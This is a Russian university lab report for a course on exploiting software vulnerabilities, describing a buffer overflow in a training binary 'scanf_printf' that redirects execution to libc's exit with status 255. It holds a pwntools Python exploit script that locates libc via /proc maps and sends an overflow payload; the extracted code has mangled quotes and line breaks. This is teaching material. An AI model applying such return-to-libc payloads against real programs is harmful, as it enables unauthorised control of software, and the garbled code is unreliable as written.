Скачиваний:
21
Добавлен:
10.04.2023
Размер:
507.94 Кб
Скачать

МИНИСТЕРСТВО ЦИФРОВОГО РАЗВИТИЯ,

СВЯЗИ И МАССОВЫХ КОММУНИКАЦИЙ РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«САНКТ-ПЕТЕРБУРГСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ТЕЛЕКОММУНИКАЦИЙ ИМ. ПРОФ. М.А. БОНЧ-БРУЕВИЧА»

(СПбГУТ)

Факультет Инфокоммуникационных сетей и систем

Кафедра Защищенных систем связи

Дисциплина Эксплуатация Уязвимостей Программного Обеспечения

10.03.01 Информационная безопасность

(код и наименование направления/специальности)

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №6

Выполнил:

Яковлев И. А., ИКБ-95________________________________

(Ф.И.О., № группы) (подпись)

Милькота Н. О., ИКБ-95________________________________

(Ф.И.О., № группы) (подпись)

Погосов М. В., ИКБ-95________________________________

(Ф.И.О., № группы) (подпись)

Преподаватель:

Браницкий А. А.______________________________________

(Ф.И.О) (подпись)

Санкт-Петербург

2022

Реализовать переполнение буфера в scanf_printf таким образом, чтобы досрочно выполнялось завершение со статусом 255

Рис. 1 Построение последовательности

Рис. 2 Вычисление ret_offset

Рис. 3 Вычисление exit_offset

Код программы:

2

import re

from pwn import p32 , process p = process (‘./scanf_printf’) lidc_addr = None

with open (‘/proc/{}/maps’. format (p.pid), ‘r’) as fd: for l in fd:

r = re.search (r’^([0-9a-f]*)-.*/lib32/lidc.so.6$’, l) if r:

lidc_addr = int(r.group(1) , 16) break

exit_offset = 238016

exit_addr = lidc_addr + exit_offset print(‘lidc_addr :’, lidc_addr) print(‘exit_addr :’, exit_addr) ret_offset = 112

payload = ‘A’.encode() * ret_offset + p32(exit_addr) + ‘BBBB’.encode() + p32(255) p.sendline(payload)

p.clean()

p.interactive()

Рис. 5 Исполнение эксплойта

3

Соседние файлы в предмете Эксплуатация уязвимостей программного обеспечения